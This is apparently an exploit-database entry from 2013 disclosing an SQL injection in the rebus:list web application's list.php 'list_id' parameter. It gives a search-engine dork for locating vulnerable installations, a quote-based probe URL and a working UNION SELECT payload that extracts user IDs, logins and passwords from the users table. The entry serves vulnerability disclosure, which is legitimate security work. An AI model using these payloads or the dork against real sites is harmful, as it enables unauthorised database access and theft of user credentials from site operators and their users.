Rebus:list - 'list.php?list_id' SQL Injection

Author: Robert Cooper
type: webapps
platform: php
port: 
date_added: 2013-03-19 
date_updated: 2013-03-19 
verified: 1 
codes: OSVDB-91501 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Rebus:list SQL Injection Vulnerability

# Date: 3/18/2013

# Vendor Homepage: http://www.ptfs-europe.com/products/rebus/rebuslist/

# Author: Robert Cooper (robert.cooper [at] areyousecure.net)

# Tested on: [Linux/Windows 7]

#Vulnerable Parameters: list_id=

# Google Dork: intext: Powered by rebus:list

##############################################################
Exploit:

http://server/list.php?list_id=2'

http://server/list.php?list_id=-2 union all select 1,2,group_concat(user_id,0x3a,login,0x3a,password) FROM users--


##############################################################

http://www.areyousecure.net

# Shouts to the Belegit crew